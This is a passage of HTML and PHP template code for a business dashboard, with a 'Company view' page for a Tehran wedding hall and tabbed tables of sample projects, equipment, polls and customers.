</td>
<td class="text-center">
<div class="form-group">
<label class="custom-switch">
<input type="checkbox"
name="custom-switch-checkbox"
class="custom-switch-input">
<span class="custom-switch-indicator"></span>
</label>
</div>
</td>
</tr>
<tr>
<th scope="row">3</th>
<td class="text-center">
Photographer
</td>
<td class="text-center">
<div class="form-group">
<label class="custom-switch">
<input type="checkbox"
name="custom-switch-checkbox"
class="custom-switch-input">
<span class="custom-switch-indicator"></span>
</label>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i>
Save
</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/accordion-Wizard-Form/jquery.accordion-wizard.min.js',
'/assets/plugins/bootstrap-wizard/jquery.bootstrap.wizard.js',
'/assets/js/wizard.js',
'/assets/plugins/multipleselect/multiple-select.js',
'/assets/plugins/multipleselect/multi-select.js',
'/assets/plugins/select2/select2.full.min.js',
'/assets/js/select2.js',
'/assets/plugins/peitychart/jquery.peity.min.js',
];
?>
<file_sep><!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Company view</h4>
<div class="float-right ml-auto">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary"><i
class="fas fa-pen"></i> Edit</a>
</div>
<div class="float-right ml-1">
<a href="#" class="btn btn-primary bg-red"><i class="fas fa-trash mr-1"></i>Delete</a>
</div>
</div>
</div>
<!--page header end-->
<div class="row">
<div class="col-xl-6 col-md-12">
<div class="pricing-table active rounded">
<div class="price-header bg-primary">
<h3 class="title text-white">Wedding Hall</h3>
<div class="price text-white">Emarat Zarin</div>
<span class="permonth font-weight-extrabold">info <i
class="fas fa-arrow-alt-circle-down text-info"></i></span>
</div>
<div class="price-body">
<ul class="mb-7">
<li class="font-weight-bold text-muted"><b class="font-weight-extrabold text-dark">Executive manager
:</b> <NAME>
</li>
<li class="font-weight-bold text-muted"><b class="font-weight-extrabold text-dark">Responsible :</b>
<NAME>
</li>
<li class="font-weight-bold text-muted"><b class="font-weight-extrabold text-dark">Website address
:</b> www.emaratezarrin.com
</li>
<li class="font-weight-bold text-muted"><b class="font-weight-extrabold text-dark">Org email :</b>
<EMAIL>
</li>
<li class="font-weight-bold text-muted"><b class="font-weight-extrabold text-dark">Office direct Tel
:</b> 021-88501649
</li>
<li class="font-weight-bold text-muted"><b class="font-weight-extrabold text-dark">Address :</b>
Tehran-SaadatAbad
</li>
<li class="font-weight-bold text-muted"><b class="font-weight-extrabold text-dark">Descriptions
:</b><br> Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor
incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation
ullamco .
</li>
</ul>
</div>
</div>
</div>
<div class="col-xl-6 col-md-12">
<div class="row">
<div class="col-xl-6 col-lg-12 col-md-12">
<div class="card">
<div class="card-body">
<div class="plan-card text-center">
<i class="fas fa-layer-group plan-icon text-primary"></i>
<h6 class="text-drak text-uppercase mt-2">Total Projects</h6>
<h2 class="mb-2">87</h2>
<span class="badge badge-success"> +18% </span>
<span class="text-muted">From previous month</span>
</div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-12 col-md-12">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2"
data-image-src="../assets/images/photos/pro1.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Responsible</span>
<div>
<span class="badge badge-default">leader</span>
</div>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i
class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i
class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i
class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12 col-lg-12 col-xl-12">
<div class="card overflow-hidden">
<div class="card-header">
<h3 class="card-title font-weight-bold">Company location</h3>
</div>
<div class="card-body">
<img src="/assets/images/photos/Matican Location Map + Pin.png" width="100%" alt="#">
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card">
<div class="card-body p-5">
<div class="panel panel-primary">
<div class=" p-3 ">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li><a href="#tab111" class="active font-weight-bold" data-toggle="tab">Projects</a>
</li>
<li><a href="#tab222" class="font-weight-bold" data-toggle="tab">Equipments</a></li>
<li><a href="#tab333" class="font-weight-bold" data-toggle="tab">Polls</a></li>
<li><a href="#tab444" class="font-weight-bold" data-toggle="tab">Customers</a></li>
<li><a href="#tab555" class="font-weight-bold" data-toggle="tab">Meetings</a></li>
<li><a href="#tab666" class="font-weight-bold" data-toggle="tab">Tasks</a></li>
<li><a href="#tab777" class="font-weight-bold" data-toggle="tab">Contracts</a></li>
<li><a href="#tab888" class="font-weight-bold" data-toggle="tab">Deals</a></li>
<li><a href="#tab999" class="font-weight-bold" data-toggle="tab">Invoices</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-0 ">
<div class="tab-content">
<div class="tab-pane active " id="tab111">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead>
<tr>
<th class="wd-15p border-bottom-0 text-center bg-primary">Name</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">Owner</th>
<th class="wd-10p border-bottom-0 text-center bg-primary">Hold Date</th>
<th class="wd-10p border-bottom-0 text-center bg-primary">Tags</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">Project Leader</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">Product Owner</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Current milestone</th>
<th class="wd-20p border-bottom-0 text-center bg-primary">Branch</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Progress</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Status</th>
<th class="border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Project 1</td>
<td class="text-center"><NAME></td>
<td class="text-center">12 February 2020</td>
<td class="text-center">Something</td>
<td class="text-center">Ali Hashemi</td>
<td class="text-center"><NAME></td>
<td class="text-center">3 out of 10</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-95 font-weight-bold ">95%
</div>
</div>
</td>
<td class="text-center">Pending</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Project 2</td>
<td class="text-center"><NAME></td>
<td class="text-center">29 June 2020</td>
<td class="text-center">Something</td>
<td class="text-center">Ali Hashemi</td>
<td class="text-center">Pooneh Saber</td>
<td class="text-center">2 out of 15</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-35 font-weight-bold ">35%
</div>
</div>
</td>
<td class="text-center">Pending</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Project 3</td>
<td class="text-center"><NAME></td>
<td class="text-center">12 December 2019</td>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">6 out of 9</td>
<td class="text-center">Valiasr</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-40 font-weight-bold ">40%
</div>
</div>
</td>
<td class="text-center">Pending</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Project 4</td>
<td class="text-center"><NAME></td>
<td class="text-center">22 March 2019</td>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">14 out of 14</td>
<td class="text-center">Khaghani</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-15 font-weight-bold ">15%
</div>
</div>
</td>
<td class="text-center">Completed</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Project 5</td>
<td class="text-center"><NAME></td>
<td class="text-center">06 May 2019</td>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">9 out of 9</td>
<td class="text-center">Khaghani</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-70 font-weight-bold ">70%
</div>
</div>
</td>
<td class="text-center">Completed</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Project 6</td>
<td class="text-center"><NAME></td>
<td class="text-center">17 April 2019</td>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">3 out of 21</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-85 font-weight-bold ">85%
</div>
</div>
</td>
<td class="text-center">On going</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Project 7</td>
<td class="text-center"><NAME></td>
<td class="text-center">10 July 2019</td>
<td class="text-center">Something</td>
<td class="text-center">Saba Nouri</td>
<td class="text-center"><NAME></td>
<td class="text-center">9 out of 13</td>
<td class="text-center">valiasr</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-30 font-weight-bold ">30%
</div>
</div>
</td>
<td class="text-center">Pending</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Project 9</td>
<td class="text-center"><NAME></td>
<td class="text-center">27 October 2019</td>
<td class="text-center">Something</td>
<td class="text-center">Saba Nouri</td>
<td class="text-center">Taha Shafa</td>
<td class="text-center">5 out of 15</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-65 font-weight-bold ">65%
</div>
</div>
</td>
<td class="text-center">Pending</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab222">
<div class="table-responsive ">
<table id="example-4" class="table table-striped table-bordered">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Name</th>
<th class="wd-15p border-bottom-0 text-center">Category</th>
<th class="wd-10p border-bottom-0 text-center">Inventory</th>
<th class="wd-15p border-bottom-0 text-center">Size</th>
<th class="wd-20p border-bottom-0 text-center">Weight</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="wd-25p border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Tablet</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">6*8*7</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-danger">Destroyed</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Camera</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">6*8*5</td>
<td class="text-center">2kg</td>
<td class="text-center"><span class="tag tag-success">Ready to use</span>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Tablet</td>
<td class="text-center">Digital</td>
<td class="text-center">Turkey</td>
<td class="text-center">10*8*5</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-warning">In use</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Headphone</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">5*5*6</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-blue">Intact</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Tablet</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">6*8*2</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-cyan">Being Repaired</span>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Tablet</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">6*8*6</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-danger">Destroyed</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Tablet</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">6*8*12</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-danger">Destroyed</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Tablet</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">6*8*8</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-danger">Destroyed</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Tablet</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">6*8*4</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-danger">Destroyed</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab333">
<div class="table-responsive ">
<table id="example-5" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Topic</th>
<th class="wd-15p border-bottom-0 text-center">Creator</th>
<th class="wd-10p border-bottom-0 text-center">Poll For</th>
<th class="wd-10p border-bottom-0 text-center">Due Date</th>
<th class="wd-15p border-bottom-0 text-center">Num Of Participants</th>
<th class="wd-15p border-bottom-0 text-center">Progress</th>
<th class="wd-15p border-bottom-0 text-center">Status</th>
<th class="border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Ali</td>
<td class="text-center"><NAME></td>
<td class="text-center">Portrait Photography</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">12</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar w-0 font-weight-bold ">0%
</div>
</div>
</td>
<td class="text-center">Plan</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i>
Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Rad</td>
<td class="text-center"><NAME></td>
<td class="text-center">Portrait Photography</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">5</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar w-0 font-weight-bold ">0%
</div>
</div>
</td>
<td class="text-center">Scheduled</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i>
Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Hossein</td>
<td class="text-center"><NAME></td>
<td class="text-center">Portrait Photography</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">9</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-90 font-weight-bold ">90%
</div>
</div>
</td>
<td class="text-center">Doing</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i>
Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Shahin</td>
<td class="text-center"><NAME></td>
<td class="text-center">Portrait Photography</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">11</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-100 font-weight-bold ">100%
</div>
</div>
</td>
<td class="text-center">Finished</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i>
Edit</a>
</td>
</tr>
<tr>
<td class="text-center">John</td>
<td class="text-center"><NAME></td>
<td class="text-center">Portrait Photography</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">22</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-60 font-weight-bold ">60%
</div>
</div>
</td>
<td class="text-center">Doing</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i>
Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Saeghe</td>
<td class="text-center"><NAME></td>
<td class="text-center">Portrait Photography</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">8</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-100 font-weight-bold ">100%
</div>
</div>
</td>
<td class="text-center">Finished</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i>
Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Hossein</td>
<td class="text-center"><NAME></td>
<td class="text-center">Portrait Photography</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">8</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-30 font-weight-bold ">30%
</div>
</div>
</td>
<td class="text-center">Doing</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i>
Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab444">
<div class="table-responsive ">
<table id="example-6" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Name</th>
<th class="wd-15p border-bottom-0 text-center">Family</th>
<th class="wd-10p border-bottom-0 text-center">Gender</th>
<th class="wd-10p border-bottom-0 text-center">Birthday</th>
<th class="wd-15p border-bottom-0 text-center">Mobile number</th>
<th class="wd-15p border-bottom-0 text-center">Static phone</th>
<th class="wd-25p border-bottom-0 text-center">City</th>
<th class="wd-25p border-bottom-0 text-center">Branch</th>
<th class="wd-20p border-bottom-0 text-center">Grade</th>
<th class="border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Tehran</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal"
class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Mina</td>
<td class="text-center">Noori</td>
<td class="text-center">Female</td>
<td class="text-center">12/6/1379</td>
<td class="text-center">+98 912 944 9756</td>
<td class="text-center">021 11706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-danger"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal"
class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">John</td>
<td class="text-center">Rezaian</td>
<td class="text-center">Male</td>
<td class="text-center">7/1/1373</td>
<td class="text-center">+98 921 557 9885</td>
<td class="text-center">021 44696689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal"
class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal"
class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal"
class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Mina</td>
<td class="text-center">Noori</td>
<td class="text-center">Female</td>
<td class="text-center">12/6/1379</td>
<td class="text-center">+98 912 944 9756</td>
<td class="text-center">021 11706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-danger"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
</div>
</td>
<td class="text-center">
